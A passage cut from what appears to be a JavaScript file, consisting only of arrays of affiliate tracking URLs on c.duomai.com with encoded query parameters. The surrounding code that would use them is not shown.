"http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmITN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmEjN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmQjN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmcjN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmAzN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmMzN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmYzN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmkzN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmIDO2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmUDO2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ3kTPklWYmgDO2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1Wdq5yd3dnRyUiRyUSQzUCc0RHa"],
    t = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmEzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmQzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmczM2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmADN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmMDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmYDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmkDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmITN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmgTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmEjN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmQjN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmcjN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmAzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmMzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmYzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmkzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmIDO2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmUDO2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM0UTPklWYmgDO2UDOx0DZp9VZ0l2cmYiRyUSbvNmL0NXZiZ2cuc3d3ZkMlYkMlE0MlAHd0h"],
    u = ["http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmEzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmQzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmczM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmADN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmMDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmYDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmkDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmITN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmgTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmEjN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmQjN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmcjN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmAzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmMzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmYzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmkzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmIDO2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmUDO2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ3UTPklWYmgDO2UDOx0DZp9VZ0l2cmYiRyUSbvNmLvFmYvFmYt5yd3dnRyUiRyUSQzUCc0R"],
    v = ["http://c.duomai.com/track.php?k=0ZSPklWdlZCO2ETPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmduc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCO2ETPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmduc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCO2ETPklWYmMzN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmduc3d3ZkMlYkMlE0MlAHd0hWP", "http://c.duomai.com/track.php?k=0ZSPklWdlZCO2ETPklWYmgDO2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmduc3d3ZkMlYkMlE0MlAHd0hWP"],
    w = ["http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMzMyETPklWYmczNyUDOx0DZp9VZ0l2cmYCMyUiRyUSbvNmLlRWZltmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMzMyETPklWYmEzM2UDOx0DZp9VZ0l2cmYCMyUiRyUSbvNmLlRWZltmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMzMyETPklWYmQzM2UDOx0DZp9VZ0l2cmYCMyUiRyUSbvNmLlRWZltmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMzMyETPklWYmczM2UDOx0DZp9VZ0l2cmYCMyUiRyUSbvNmLlRWZltmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMzMyETPklWYmADN2UDOx0DZp9VZ0l2cmYCMyUiRyUSbvNmLlRWZltmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMzMyETPklWYmMDN2UDOx0DZp9VZ0l2cmYCMyUiRyUSbvNmLlRWZltmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMzMyETPklWYmYDN2UDOx0DZp9VZ0l2cmYCMyUiRyUSbvNmLlRWZltmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMzMyETPklWYmkDN2UDOx0DZp9VZ0l2cmYCMyUiRyUSbvNmLlRWZltmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMzMyETPklWYmITN2UDOx0DZp9VZ0l2cmYCMyUiRyUSbvNmLlRWZltmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMzMyETPklWYmUTN2UDOx0DZp9VZ0l2cmYCMyUiRyUSbvNmLlRWZltmL3d3dGJTJGJTJBNTJwRHd"],
    x = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZCN5ETPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92Yu82bjV2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCN5ETPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu82bjV2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCN5ETPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu82bjV2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCN5ETPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu82bjV2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCN5ETPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu82bjV2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCN5ETPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu82bjV2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCN5ETPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu82bjV2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCN5ETPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu82bjV2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCN5ETPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu82bjV2cuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCN5ETPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu82bjV2cuc3d3ZkMlYkMlE0MlAHd0h"],
    y = ["http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMxETPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUSbvNmLhlma1RnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMxETPklWYmEzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhlma1RnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMxETPklWYmQzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhlma1RnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMxETPklWYmczM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhlma1RnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMxETPklWYmADN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhlma1RnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMxETPklWYmMDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhlma1RnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMxETPklWYmYDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhlma1RnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMxETPklWYmkDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhlma1RnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMxETPklWYmITN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhlma1RnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMxETPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhlma1RnL3d3dGJTJGJTJBNTJwRHdo1"],
    z = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM2ETPklWYmczNyUDOx0DZp9VZ0l2cmYkMl02bj5ibhlGe1lmauc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM2ETPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl02bj5ibhlGe1lmauc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM2ETPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl02bj5ibhlGe1lmauc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM2ETPklWYmczM2UDOx0DZp9VZ0l2cmYkMl02bj5ibhlGe1lmauc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM2ETPklWYmADN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhlGe1lmauc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM2ETPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhlGe1lmauc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM2ETPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhlGe1lmauc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM2ETPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhlGe1lmauc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM2ETPklWYmITN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhlGe1lmauc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyM2ETPklWYmUTN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhlGe1lmauc3d3ZkMlYkMlE0MlAHd0h"],
    A = ["http://c.duomai.com/track.php?k=m0DZpVXZmAzMxITPklWYmczNyUDOx0DZp9VZ0l2cm02bj5yZulGbhRmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmAzMxITPklWYmEzM2UDOx0DZp9VZ0l2cm02bj5yZulGbhRmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmAzMxITPklWYmQzM2UDOx0DZp9VZ0l2cm02bj5yZulGbhRmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmAzMxITPklWYmczM2UDOx0DZp9VZ0l2cm02bj5yZulGbhRmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmAzMxITPklWYmADN2UDOx0DZp9VZ0l2cm02bj5yZulGbhRmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmAzMxITPklWYmMDN2UDOx0DZp9VZ0l2cm02bj5yZulGbhRmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmAzMxITPklWYmYDN2UDOx0DZp9VZ0l2cm02bj5yZulGbhRmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmAzMxITPklWYmkDN2UDOx0DZp9VZ0l2cm02bj5yZulGbhRmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmAzMxITPklWYmITN2UDOx0DZp9VZ0l2cm02bj5yZulGbhRmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmAzMxITPklWYmUTN2UDOx0DZp9VZ0l2cm02bj5yZulGbhRmL3d3dGJTJGJTJBNTJwRHdo1Dd"],
    B = ["http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmMTNwETPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YuMWa0NXY05WYmt2bvxmL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmMTNwETPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuMWa0NXY05WYmt2bvxmL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmMTNwETPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuMWa0NXY05WYmt2bvxmL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmMTNwETPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuMWa0NXY05WYmt2bvxmL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmMTNwETPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuMWa0NXY05WYmt2bvxmL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmMTNwETPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuMWa0NXY05WYmt2bvxmL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmMTNwETPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuMWa0NXY05WYmt2bvxmL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmMTNwETPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuMWa0NXY05WYmt2bvxmL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmMTNwETPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuMWa0NXY05WYmt2bvxmL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmMTNwETPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuMWa0NXY05WYmt2bvxmL3d3dGJTJGJTJBNTJ"],
    C = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZiN1ITPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUibj5SbvNmLxETMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiN1ITPklWYmEzM2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmLxETMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiN1ITPklWYmQzM2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmLxETMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiN1ITPklWYmczM2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmLxETMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiN1ITPklWYmADN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmLxETMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiN1ITPklWYmMDN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmLxETMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiN1ITPklWYmYDN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmLxETMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiN1ITPklWYmkDN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmLxETMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiN1ITPklWYmITN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmLxETMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiN1ITPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmLxETMuc3d3ZkMlYkMlE0MlAHd0h"],
    D = ["http://c.duomai.com/track.php?k=Ddm0DZpVXZmYTNxETPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUSbvNmLhR2bnFmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmYTNxETPklWYmEzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhR2bnFmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmYTNxETPklWYmQzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhR2bnFmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmYTNxETPklWYmczM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhR2bnFmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmYTNxETPklWYmADN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhR2bnFmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmYTNxETPklWYmMDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhR2bnFmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmYTNxETPklWYmYDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhR2bnFmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmYTNxETPklWYmkDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhR2bnFmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmYTNxETPklWYmITN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhR2bnFmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmYTNxETPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLhR2bnFmL3d3dGJTJGJTJBNTJwRHdo1"],
    E = ["http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEzN5ETPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92Yucmbpt2bvJmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEzN5ETPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92Yucmbpt2bvJmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEzN5ETPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92Yucmbpt2bvJmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEzN5ETPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92Yucmbpt2bvJmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEzN5ETPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yucmbpt2bvJmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEzN5ETPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yucmbpt2bvJmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEzN5ETPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yucmbpt2bvJmL3d3dGJTJGJTJBNTJwRHd", 